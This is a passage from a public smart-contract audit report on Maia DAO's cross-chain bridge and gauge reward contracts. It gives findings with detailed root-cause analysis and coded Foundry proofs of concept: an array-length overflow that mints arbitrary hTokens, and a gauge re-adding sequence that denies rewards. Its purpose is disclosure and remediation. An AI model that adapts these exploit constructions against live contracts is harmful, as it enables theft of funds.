        console2.log("ATTACKER ETHER BALANCE END", attacker.balance);
        console2.log("RootBridge WrappedNative END",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
        console2.log("RootBridge ACCUMULATED FEES END", multicallBridgeAgent.accumulatedFees());
        console2.log("---------------------------------------------------------");
        console2.log("-------------------- GAS ISSUE END ----------------------");
        console2.log("---------------------------------------------------------");

    }

    function _prepareDeposit() internal returns(DepositInput memory) {
        // hToken address
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        uint256 amount1 = 500;
        uint256 amount2 = 500;

        uint24 toChain = rootChainId;

        return DepositInput({
            hToken:addr1,
            token:addr2,
            amount:amount1,
            deposit:amount2,
            toChain:toChain
        });

    }

Recommendation

It is hard to conclude a particular fix, but consider setting userFeeInfo.gasToBridgeOut = 0 after retrySettlement as part of the mitigation.

Assessed type

Context

0xBugsy (Maia) confirmed, but disagreed with severity and commented:

The fix recommended for this issue was saving the available gas and clearing the gasToBridgeOut after each manageGasOut in order to avoid this double spending and using available gas in payExecutionGas.

Trust (judge) commented:

Loss of yield = loss of funds. High impact from my perspective.

0xLightt (Maia) commented:

We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.


[H-12] An attacker can mint an arbitrary amount of hToken on RootChain

Submitted by Voyvoda

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L275-L316
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgentExecutor.sol#L259-L299
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L404-L426
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootPort.sol#L276-L284

Impact

An adversary can construct an attack vector that let’s them mint an arbitrary amount of hToken’s on the RootChain.

Proof of Concept

Note: An end-to-end coded PoC is at the end of PoC section.

Background

The attack will start on a Branch Chain where we have some underlying ERC20 token and a corresponding hToken that represents token within the omnichain system. The callOutSignedAndBridgeMultiple(...) function is supposed to bridge multiple tokens to a destination chain and also carry the msg.sender so that the tokens can be credited to msg.sender’s VirtualAccount. The attacker will call the function with DepositMultipleInputParams _dParams that take advantage of several weaknesses contained within the function.

Below is an overview of the DepositMultipleInput struct and flow diagram of BranchBridgeAgent:

struct DepositMultipleInput {
    //Deposit Info
    address[] hTokens; //Input Local hTokens Address.
    address[] tokens; //Input Native / underlying Token Address.
    uint256[] amounts; //Amount of Local hTokens deposited for interaction.
    uint256[] deposits; //Amount of native tokens deposited for interaction.
    uint24 toChain; //Destination chain for interaction.
}
flowchart TB
A["callOutSignedAndBridgeMultiple(,DepositMultipleInput memory _dParams,)"] 
-->|1 |B["_depositAndCallMultiple(...)"]
    B --> |2| C["_createDepositMultiple(...)"]
    B --> |4| D["__performCall(_data)"]
    C --> |3| E["IPort(address).bridgeOutMultiple(...)"]

Weakness #1 is that the supplied array of tokens address[] hTokens in _dParams is not checked if it exceeds 256. This causes an obvious issue where if hTokens length is > 256, the recorded length in packedData will be wrong since it’s using an unsafe cast to uint8 and will overflow: uint8(_dParams.hTokens.length).

function callOutSignedAndBridgeMultiple(
        bytes calldata _params,
        DepositMultipleInput memory _dParams,
        uint128 _remoteExecutionGas
    ) external payable lock requiresFallbackGas {
        // code ...

        //Encode Data for cross-chain call.
        bytes memory packedData = abi.encodePacked(
            bytes1(0x06),
            msg.sender,
            uint8(_dParams.hTokens.length),
            depositNonce,
            _dParams.hTokens,
            _dParams.tokens,
            _dParams.amounts,
            _deposits,
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );
				
				// code ...
				_depositAndCallMultiple(...);
    }

Weakness #2 arises in the subsequent internal function _depositAndCallMultiple(...), where the only check performed on the supplied hTokens, tokens, amounts and deposits arrays is if the lengths match; however, there is no check if the length is the same as the one passed earlier to packedData.

function _depositAndCallMultiple(
        address _depositor,
        bytes memory _data,
        address[] memory _hTokens,
        address[] memory _tokens,
        uint256[] memory _amounts,
        uint256[] memory _deposits,
        uint128 _gasToBridgeOut
    ) internal {
        //Validate Input
        if (
            _hTokens.length != _tokens.length || _tokens.length != _amounts.length
                || _amounts.length != _deposits.length
        ) revert InvalidInput();

        //Deposit and Store Info
        _createDepositMultiple(_depositor, _hTokens, _tokens, _amounts, _deposits, _gasToBridgeOut);

        //Perform Call
        _performCall(_data);
    }

Lastly, weakness #3 is that bridgeOutMultiple(...), called within _createDepositMultiple(...), allows for supplying any address in the hTokens array since it only performs operations on these addresses if _deposits[i] > 0 or _amounts[i] - _deposits[i] > 0. In other words, if we set deposits[i] = 0 and amounts[i] = 0, we can supply ANY address in hTokens[i].

function bridgeOutMultiple(
        address _depositor,
        address[] memory _localAddresses,
        address[] memory _underlyingAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits
    ) external virtual requiresBridgeAgent {
        for (uint256 i = 0; i < _localAddresses.length;) {
            if (_deposits[i] > 0) {
                _underlyingAddresses[i].safeTransferFrom(
                    _depositor,
                    address(this),
                    _denormalizeDecimals(_deposits[i], ERC20(_underlyingAddresses[i]).decimals())
                );
            }
            if (_amounts[i] - _deposits[i] > 0) {
                _localAddresses[i].safeTransferFrom(_depositor, address(this), _amounts[i] - _deposits[i]);
                ERC20hTokenBranch(_localAddresses[i]).burn(_amounts[i] - _deposits[i]);
            }
            unchecked {
                i++;
            }
        }
    }

Supplying the attack vector

The attacker will construct DepositMultipleInput _dParams where address[] hTokens will have a length of 257 where all entries, except hTokens[1], hTokens[2] and hTokens[3], will contain the Branch address of the same hToken. Note that, in the examined functions above, there is no restriction to supply the same hToken address multiple times.

In a similar way, address[] tokens will have a length of 257; however, here all entries will contain the underlying token. It is crucial to include the address of the underlying token to bypass _normalizeDecimals.

Next uint256[] amounts will be of length 257, where all entries will contain 0. Similarly, uint256[] deposits will be of length 257, where all entries will contain 0. In such configuration, the attacker is able to supply a malicious hToken address as per weakness #3.

The crucial part now, is that hTokens[1] will contain the address of the underlying token. This is needed to later bypass the params check on the RootChain.

hTokens[2] & hTokens[3] will contain the attacker’s malicious payload address, which when converted to bytes and then uint256, will represent the arbitrary amount of tokens that the attacker will mint (this conversion will happen on the RootChain).

This is how the attack vector looks expressed in code:

				// hToken address, note the "h" in the var name
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        // 0x2FAF0800 when packed to bytes and then cast to uint256 = 800000000
				// this amount will be minted on Root 
        address malicious_address = address(0x2FAF0800);
        
        uint256 amount1 = 0;
        uint256 amount2 = 0;

        uint num = 257;
        address[] memory htokens = new address[](num);
        address[] memory tokens = new address[](num);
        uint256[] memory amounts = new uint256[](num);
        uint256[] memory deposits = new uint256[](num);

        for(uint i=0; i<num; i++) {
            htokens[i] = addr1;
            tokens[i] = addr2;
            amounts[i] = amount1;
            deposits[i] = amount2;
        }
    
        // address of the underlying token
        htokens[1] = addr2;
      
        // copy of entry containing the arbitrary number of tokens
        htokens[2] = malicious_address;
        
        // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
        htokens[3] = malicious_address;
       
        uint24 toChain = rootChainId;

        // create input
        DepositMultipleInput memory input = DepositMultipleInput({
            hTokens:htokens,
            tokens:tokens,
            amounts:amounts,
            deposits:deposits,
            toChain:toChain
        });

Essentially, what happens now is the attacker has packedData that contains 257 hTokens, tokens, amounts and deposits; however, due to weakness #1 the recorded length is 1 and due to weaknesses #2 and #3, this construction of the input will reach _peformCal(data). The mismatch between the number of entries and the actual number of supplied entries will cause malicious behavior on the RootChain.

bytes memory packedData = abi.encodePacked(
            bytes1(0x06),
            msg.sender,
            uint8(_dParams.hTokens.length),
            depositNonce,
            _dParams.hTokens,
            _dParams.tokens,
            _dParams.amounts,
            _deposits,
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );

The attack vector is in line with the general encoding scheme displayed below. The important note is that “Length” will contain a value of 1 instead of 257, which will disrupt the decoding on the RootBranch. More details about the encoding can be found in IRootBridgeAgent.sol.

+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
|  Flag  |  Signer  | Length | depositNonce | hTokens[0], [1] ... [256] | tokens[0] ... [256] | amounts[0] ... [256] | deposits[0] ... [256] | toChain | data |   gas    |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
| 1 byte | 20 bytes | 1 byte |   4 bytes    |       32 bytes * 257      |    32 bytes * 257   |    32 bytes * 257    |     32 bytes * 257    | 3 bytes | any  | 32 bytes |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+

RootBranch receives the attack vector

The entry point for a message on the RootChain is anyExecute(bytes calldata data) in RootBridgeAgent.sol. This will be called by the Multichain’s AnycallExecutor. The function will unpack and navigate the supplied flag 0x06, corresponding to callOutSignedAndBridgeMultiple(...) that was invoked on the Branch Chain.

Next, executeSignedWithDepositMultiple(...) will be invoked residing in RootBridgeAgentExecutor.sol, which will subsequently call _bridgeInMultiple(...); however, the amount of data passed to _bridgeInMultiple(...) depends on the packed length of the hTokens array:

function executeSignedWithDepositMultiple(
        address _account,
        address _router,
        bytes calldata _data,
        uint24 _fromChainId
    ) external onlyOwner returns (bool success, bytes memory result) {
        //Bridge In Assets
        DepositMultipleParams memory dParams = _bridgeInMultiple(
            _account,
            _data[
                PARAMS_START_SIGNED:
                    PARAMS_END_SIGNED_OFFSET
                        + uint16(uint8(bytes1(_data[PARAMS_START_SIGNED]))) * PARAMS_TKN_SET_SIZE_MULTIPLE
            ],
            _fromChainId
        );

				// more code ...

If we examine closer, the constants and check with the encoding scheme:

  • PARAMS_START_SIGNED = 21
  • PARAMS_END_SIGNED_OFFSET = 29
  • PARAMS_TKN_SET_SIZE_MULTIPLE = 128

Here, the intended behavior is that _data is sliced in such a way that it removes the flag bytes1(0x06) and the msg.sender address. Hence, we start at byte21 - we have 29 to account for the bytes4(nonce), bytes3(chainId) and bytes1(length) for a total of 8 bytes. But remember that byte slicing is exclusive of the second byte index + uint16(length) * 128 for every set of htoken, token, amount and deposit. What will happen in the attack case is that _data will be cut short since the length will be 1 instead of 257 and _data will contain length, nonce, chainId and the first 4 entries of the constructed hTokens[] array.

Now, _bridgeInMultiple will unpack the _dParams where numOfAssets = 1; hence, only 1 iteration, and will populate a set with in reality the first 4 entries of the supplied hTokens[] in the attack vector:

  • hTokens[0] = hToken address
  • tokens[0] = token address
  • amounts[0] = malicious address payload cast to uint256
  • deposits[0] = malicious address payload cast to uint256
function _bridgeInMultiple(address _recipient, bytes calldata _dParams, uint24 _fromChain)
        internal
        returns (DepositMultipleParams memory dParams)
    {
        // Parse Parameters
        uint8 numOfAssets = uint8(bytes1(_dParams[0]));
        uint32 nonce = uint32(bytes4(_dParams[PARAMS_START:5]));
        uint24 toChain = uint24(bytes3(_dParams[_dParams.length - 3:_dParams.length]));

        address[] memory hTokens = new address[](numOfAssets);
        address[] memory tokens = new address[](numOfAssets);
        uint256[] memory amounts = new uint256[](numOfAssets);
        uint256[] memory deposits = new uint256[](numOfAssets);

        for (uint256 i = 0; i < uint256(uint8(numOfAssets));) {
            //Parse Params
            hTokens[i] = address(
                uint160(
                    bytes20(
                        bytes32(
                            _dParams[
                                PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * i) + 12:
                                    PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * (PARAMS_START + i))
                            ]
                        )
                    )
                )
            );

            tokens[i] = address(
                uint160(
                    bytes20(
                        _dParams[
                            PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(i + numOfAssets) + 12:
                                PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i + numOfAssets)
                        ]
                    )
                )
            );

            amounts[i] = uint256(
                bytes32(
                    _dParams[
                        PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
                            PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets)
                                + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
                    ]
                )
            );

            deposits[i] = uint256(
                bytes32(
                    _dParams[
                        PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
                            PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets)
                                + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
                    ]
                )
            );

            unchecked {
                ++i;
            }
        }
        //Save Deposit Multiple Params
        dParams = DepositMultipleParams({
            numberOfAssets: numOfAssets,
            depositNonce: nonce,
            hTokens: hTokens,
            tokens: tokens,
            amounts: amounts,
            deposits: deposits,
            toChain: toChain
        });

        RootBridgeAgent(payable(msg.sender)).bridgeInMultiple(_recipient, dParams, _fromChain);
    }

Subsequently, bridgeInMultiple(...) is called in RootBridgeAgent.sol, where bridgeIn(...) is called for every set of hToken, token, amount and deposit; one iteration in the attack scenario.

Function bridgeIn(...) now performs the critical checkParams from the CheckParamsLib library where if only 1 of 3 conditions is true, we will have a revert.

The first check is reverted if _dParams.amount < _dParams.deposit. This is “false” since amount and deposit are equal to the uint256 cast of the bytes packing of the malicious address payload.

The second check is:

(_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain))

Here, it’s true amount > 0; however, _dParams.hToken is the first entry hTokens[0] of the attack vector’s hTokens[] array. Therefore, it is a valid address and isLocalToken(...) will return “true” and will be negated by !, which will make the statement “false” because of &&. Therefore, it is bypassed.

The third check is:

(_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain))

Here, it’s true deposit > 0; however, _dParams.token is the second entry hTokens[1] of the attack vector’s hTokens[] array. Therefore, it is a valid underlying address and isUnderlyingToken(...) will return “true” and will be negated by !, which will make the statement “false” because of &&. Therefore, it is bypassed.

Entire function checkParams(...):

function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain)
        internal
        view
        returns (bool)
    {
        if (
            (_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount.
                || (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists.
                || (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists.
        ) {
            return false;
        }
        return true;
    }

Now, back to bridgeIn(...) in RootBridgeAgent, we get the globalAddress for _dParams.hToken (again this is the valid hToken[0] address from Branch Chain) and bridgeToRoot(...) is called that resides in RootPort.sol.

		//Get global address
    address globalAddress = IPort(localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _fromChain);

    //Check if valid asset
    if (globalAddress == address(0)) revert InvalidInputParams();

    //Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit
    IPort(localPortAddress).bridgeToRoot(_recipient, globalAddress, _dParams.amount, _dParams.deposit, _fromChain);

The function bridgeToRoot(...) will check if the globalAddress is valid and it is since we got it from the valid hTokens[0] entry in the constructed attack. Then, _amount - _deposit = 0; therefore, no tokens will be transferred and finally, the critical line if (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId). Here, _deposit is the malicious address payload that was packed to bytes and then unpacked and cast to uint256. Then, _hToken is the global address that we got from hTokens[0] back in the unpacking. Therefore, whatever the value of the uint256 representation of the malicious address is will be minted to the attacker.

Coded PoC

Copy the two functions testArbitraryMint and _prepareAttackVector in test/ulysses-omnichain/RootTest.t.sol and place them in the RootTest contract after the setup.

Execute with forge test --match-test testArbitraryMint -vv

The result is 800000000 in minted tokens for free in the attacker’s VirtualAccount.

function testArbitraryMint() public {
        
        // setup function used by developers to add local/global tokens in the system
        testAddLocalTokenArbitrum();

        // set attacker address & mint 1 ether to cover gas cost
        address attacker = address(0xAAAA);
        hevm.deal(attacker, 1 ether);
        
        // get avaxMockAssetHtoken global address that's on the Root
        address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);
    
        // prepare attack vector
        bytes memory params = "";
        DepositMultipleInput memory dParams = _prepareAttackVector();
        uint128 remoteExecutionGas = 200_000_000_0;

        console2.log("------------------");
        console2.log("------------------");
        console2.log("ARBITRARY MINT LOG");

        console2.log("Attacker address", attacker);
        console2.log("Avax h token address",avaxMockAssethToken);
        console2.log("Avax underlying address", address(avaxMockAssetToken));

        console2.log("Attacker h token balance", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));
        console2.log("Attacker underlying balance", avaxMockAssetToken.balanceOf(attacker));

        // execute attack
        hevm.prank(attacker);
        avaxMulticallBridgeAgent.callOutSignedAndBridgeMultiple{value: 0.00005 ether}(params, dParams, remoteExecutionGas);
        
        // get attacker's virtual account address
        address vaccount = address(rootPort.getUserAccount(attacker));

        console2.log("Attacker h token balance avax", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));        
        console2.log("Attacker underlying balance avax", avaxMockAssetToken.balanceOf(attacker));

        console2.log("Attacker h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount));
    
        console2.log("ARBITRARY MINT LOG END");
		    console2.log("------------------");

    }

    function _prepareAttackVector() internal view returns(DepositMultipleInput memory) {
        
        // hToken address
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        // 0x2FAF0800 when encoded to bytes and then cast to uint256 = 800000000 
        address malicious_address = address(0x2FAF0800);
        
        uint256 amount1 = 0;
        uint256 amount2 = 0;

        uint num = 257;
        address[] memory htokens = new address[](num);
        address[] memory tokens = new address[](num);
        uint256[] memory amounts = new uint256[](num);
        uint256[] memory deposits = new uint256[](num);

        for(uint i=0; i<num; i++) {
            htokens[i] = addr1;
            tokens[i] = addr2;
            amounts[i] = amount1;
            deposits[i] = amount2;
        }
    
        // address of the underlying token
        htokens[1] = addr2;
      
        // copy of entry containing the arbitrary number of tokens
        htokens[2] = malicious_address;
        
        // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
        htokens[3] = malicious_address;
       
        uint24 toChain = rootChainId;

        // create input
        DepositMultipleInput memory input = DepositMultipleInput({
            hTokens:htokens,
            tokens:tokens,
            amounts:amounts,
            deposits:deposits,
            toChain:toChain
        });

        return input;

    }

Recommendation

Enforce stricter checks around input param validation on bridging multiple tokens.

Assessed type

Invalid Validation

0xBugsy (Maia) confirmed and commented:

The maximum 256 length should be enforced so the encoded N(length) value is truthful. In addition, CheckParams should check if the underlying token matches the hToken instead of only checking if it’s an underlying token in the system.

0xLightt (Maia) commented:

Addressed here.


[H-13] Re-adding a deprecated gauge in a new epoch before calling updatePeriod()/queueRewardsForCycle() will leave some gauges without rewards

Submitted by Voyvoda

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L174-L181
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L407-L422
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/rewards/rewards/FlywheelGaugeRewards.sol#L72-L104

Impact

One or more gauges will remain without rewards. A malicious user can DOS a selected gauge from receiving rewards.

Proof of Concept

When a gauge is deprecated, its weight is subtracted from totalWeight; however, the weight of the gauge itself could remain different from 0 (it’s up to the users to remove their votes). That’s reflected in _addGauge().

function _addGauge(address gauge) internal returns (uint112 weight) {
        // some code ... 

        // Check if some previous weight exists and re-add to the total. Gauge and user weights are preserved.
        weight = _getGaugeWeight[gauge].currentWeight;
        if (weight > 0) {
            _writeGaugeWeight(_totalWeight, _add112, weight, currentCycle);
        }

        emit AddGauge(gauge);
    }

When addGauge(...) is invoked to re-add a gauge that was previously deprecated and still contains votes, _writeGaugeWeight(...) is called to add the gauge’s weight to totalWeight. When the write operation to totalWeight is performed during a new cycle, but before updatePeriod or queueRewardsForCycle() are called, we will have:

  • totalWeight.storedWeight = currentWeight (the weight before the update),
  • totalWeight.currentWeight = newWeight (the new weight) and
  • totalWeight.currentCycle = cycle (the updated new cycle).

The problem is, that when now queueRewardsForCycle() is called and subsequently in the call chain calculateGaugeAllocation(...) is called (which in turn will request the totalWeight through _getStoredWeight(_totalWeight, currentCycle)), we will read the old totalWeight (i.e. totalWeight.storedWeight) because totalWeight.currentCycle < currentCycle is false, as the cycle was already updated during the addGauge(...) call.

function _getStoredWeight(Weight storage gaugeWeight, uint32 currentCycle) internal view returns (uint112) {
        return gaugeWeight.currentCycle < currentCycle ? gaugeWeight.currentWeight : gaugeWeight.storedWeight;
    }

This will now cause a wrong calculation of the rewards since we have 1 extra gauge, but the value of totalWeight is less than what it is in reality. Therefore, the sum of the rewards among the gauges for the cycle will be more than the total sum allocated by the minter. In other words, the function in the code snippet below will be called for every gauge, including the re-added, but total is less than what it has to be.

function calculateGaugeAllocation(address gauge, uint256 quantity) external view returns (uint256) {
        if (_deprecatedGauges.contains(gauge)) return 0;
        uint32 currentCycle = _getGaugeCycleEnd();

        uint112 total = _getStoredWeight(_totalWeight, currentCycle);
        uint112 weight = _getStoredWeight(_getGaugeWeight[gauge], currentCycle);
        return (quantity * weight) / total;
    }

This can now cause several areas of concern.

First, in the presented scenario where a gauge is re-added with weight > 0 beforequeueRewardsForCycle(...), the last gauge (or perhaps the last few gauges, depending on the distribution of weight) among the active gauges that calls getAccruedRewards() won’t receive awards since there will be less rewards than what’s recorded in the gauge state.

Second, in a scenario where we might have several gauges is with a “whale” gauge that holds a majority of votes and therefore, will have a large amount of rewards. A malicious actor can monitor for when a gauge is re-added and front run getAccruedRewards() (potentially through newEpoch() in BaseV2Gauge) for all gauges, except the “whale” and achieving a DOS where the “whale” gauge won’t receive the rewards for the epoch. Therefore, the reputation of it will be damaged. This can be done for any gauge, but will have a more significant impact in the case where a lot of voters are denied their awards.

Coded PoC

Scenario 1

Initially, there are 2 gauges with 75%/25% split of the votes. The gauge with 25% of the votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 25% gauge withdraws its rewards and the 75% gauge is bricked and can’t withdraw rewards.

Copy the functions testInitialGauge & testDeprecatedAddedGauge and helper_gauge_state in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol.

Add import "lib/forge-std/src/console.sol"; to the imports.

Execute with forge test --match-test testDeprecatedAddedGauge -vv.

Result: gauge 2 will revert after trying to collect rewards after the 3rd cycle, since gauge 1 was re-added before queuing rewards.

function testInitialGauge() public {
        uint256 amount_rewards;
        
        // rewards is 100e18

        // add 2 gauges, 25%/75% split
        gaugeToken.addGauge(gauge1);
        gaugeToken.addGauge(gauge2);
        gaugeToken.incrementGauge(gauge1, 1e18);
        gaugeToken.incrementGauge(gauge2, 3e18);
        
        console.log("--------------Initial gauge state--------------");
        helper_gauge_state();

        // do one normal cycle of rewards
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        
        console.log("--------------After 1st queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        helper_gauge_state();
        
        // collect awards
        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        hevm.prank(gauge2);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        helper_gauge_state();
    }

    function testDeprecatedAddedGauge() public {
        uint256 amount_rewards;
        // setup + 1 normal cycle
        testInitialGauge();
        // remove gauge
        gaugeToken.removeGauge(gauge1);

        // do one more normal cycle with only 1 gauge
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        console.log("--------------After 2nd queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        // examine state
        helper_gauge_state();

        hevm.prank(gauge2);
        rewards.getAccruedRewards();
        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

        // A new epoch can start for 1 more cycle
        hevm.warp(block.timestamp + 1000);
        
        // Add the gauge back, but before rewards are queued
        gaugeToken.addGauge(gauge1);
        amount_rewards = rewards.queueRewardsForCycle();

        console.log("--------------After 3rd queueRewardsForCycle state--------------");
        // examine state
        console.log('nextCycleQueuedRewards', amount_rewards);
        helper_gauge_state();

        // this is fine
        hevm.prank(gauge1);
        rewards.getAccruedRewards();

        // this reverts
        hevm.prank(gauge2);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

    }
function helper_gauge_state() public view {
        console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards)));
        console.log('gaugeCycle', rewards.gaugeCycle());
        address[] memory gs = gaugeToken.gauges();
        for(uint i=0; i<gs.length; i++) {
            console.log('-------------');
            (uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i]));
            console.log("Gauge ",i+1);
            console.log("priorRewards",prior1);
            console.log("cycleRewards",stored1); 
            console.log("storedCycle",cycle1);
        }
        console.log('-------------');
    }

Scenario 2

Initially, there are 4 gauges with (2e18 | 2e18 | 6e18 | 4e18) votes respectively. The gauge with 4e18 votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 6e18 gauge withdraws its rewards and the 4e18 gauge withdraws its rewards. The two gauges with 2e18 votes are bricked and can’t withdraw rewards.

Copy the functions testInitialGauge2, testDeprecatedAddedGauge2 and helper_gauge_state in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol.

Execute with forge test --match-test testDeprecatedAddedGauge2 -vv.

Result: the 2 gauges with 2e18 votes will revert after trying to collect rewards.

function testInitialGauge2() public {
        uint256 amount_rewards;
        
        // rewards is 100e18
        
        // add 4 gauges, 2x/2x/6x/4x split
        gaugeToken.addGauge(gauge1);
        gaugeToken.addGauge(gauge2);
        gaugeToken.addGauge(gauge3);
        gaugeToken.addGauge(gauge4);

        gaugeToken.incrementGauge(gauge1, 2e18);
        gaugeToken.incrementGauge(gauge2, 2e18);
        gaugeToken.incrementGauge(gauge3, 6e18);
        gaugeToken.incrementGauge(gauge4, 4e18);

        
        console.log("--------------Initial gauge state--------------");
        helper_gauge_state();

        // do one normal cycle of rewards
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        
        console.log("--------------After 1st queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        helper_gauge_state();
        
        // collect awards
        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        hevm.prank(gauge2);
        rewards.getAccruedRewards();
        hevm.prank(gauge3);
        rewards.getAccruedRewards();
        hevm.prank(gauge4);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        helper_gauge_state();
    }
    function testDeprecatedAddedGauge2() public {
        uint256 amount_rewards;
        // setup + 1 normal cycle
        testInitialGauge2();
        // remove gauge
        gaugeToken.removeGauge(gauge4);

        // do one more normal cycle with only 3 gauges
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        console.log("--------------After 2nd queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        // examine state
        helper_gauge_state();

        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        hevm.prank(gauge2);
        rewards.getAccruedRewards();
        hevm.prank(gauge3);
        rewards.getAccruedRewards();
        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

        // A new epoch can start for 1 more cycle
        hevm.warp(block.timestamp + 1000);
        
        // Add the gauge back, but before rewards are queued
        gaugeToken.addGauge(gauge4);
        amount_rewards = rewards.queueRewardsForCycle();

        console.log("--------------After 3rd queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        // examine state
        helper_gauge_state();

        // this is fine
        hevm.prank(gauge3);
        rewards.getAccruedRewards();
        
        // this is fine
        hevm.prank(gauge4);
        rewards.getAccruedRewards();

        // this reverts
        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        
        // this reverts, same weight as gauge 1
        hevm.prank(gauge2);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

    }
function helper_gauge_state() public view {
        console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards)));
        console.log('gaugeCycle', rewards.gaugeCycle());
        address[] memory gs = gaugeToken.gauges();
        for(uint i=0; i<gs.length; i++) {
            console.log('-------------');
            (uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i]));
            console.log("Gauge ",i+1);
            console.log("priorRewards",prior1);
            console.log("cycleRewards",stored1); 
            console.log("storedCycle",cycle1);
        }
        console.log('-------------');
    }

Recommendation

When a new cycle starts, make sure gauges are re-added after rewards are queued in a cycle.

Assessed type

Timing

0xLightt (Maia) confirmed

0xLightt (Maia) commented:

Addressed here.


[H-14] User may underpay for the remote call ExecutionGas on the root chain

Submitted by Evo, also found by xuwinnie

User may underpay for the remote call ExecutionGas. Meaning, the incorrect minExecCost is being deposited at the _replenishGas call inside _payExecutionGas function.

Proof of Concept

Multichain contracts - anycall v7 lines:
https://github.com/anyswap/multichain-smart-contracts/blob/645d0053d22ed63005b9414b5610879094932304/contracts/anycall/v7/AnycallV7Upgradeable.sol#L265
